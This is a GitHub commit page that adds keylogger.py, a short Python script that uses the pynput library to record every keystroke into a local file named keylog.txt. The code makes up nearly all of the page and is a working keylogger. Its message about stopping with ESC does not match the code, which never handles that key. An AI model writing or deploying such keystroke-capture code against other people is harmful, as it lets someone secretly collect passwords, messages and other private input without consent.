Skip to content

Commit 55b9f95

Browse files
authored
Update keylogger.py
Signed-off-by: Aakash G <[email protected]>
1 parent cf1ffe8 commit 55b9f95

File tree

1 file changed

+19
-0
lines changed

1 file changed

+19
-0
lines changed

Keylogger/keylogger.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
from pynput import keyboard
2+
3+
log_file = "keylog.txt"
4+
5+
def on_press(key):
6+
try:
7+
with open(log_file, "a") as f:
8+
f.write(f"{key.char}")
9+
except AttributeError:
10+
with open(log_file, "a") as f:
11+
f.write(f"[{key}]") # Special keys like Enter, Shift
12+
13+
def main():
14+
print("[*] Keylogger started. Press ESC to stop.")
15+
with keyboard.Listener(on_press=on_press) as listener:
16+
listener.join()
17+
18+
if __name__ == "__main__":
19+
main()

0 commit comments

Comments
 (0)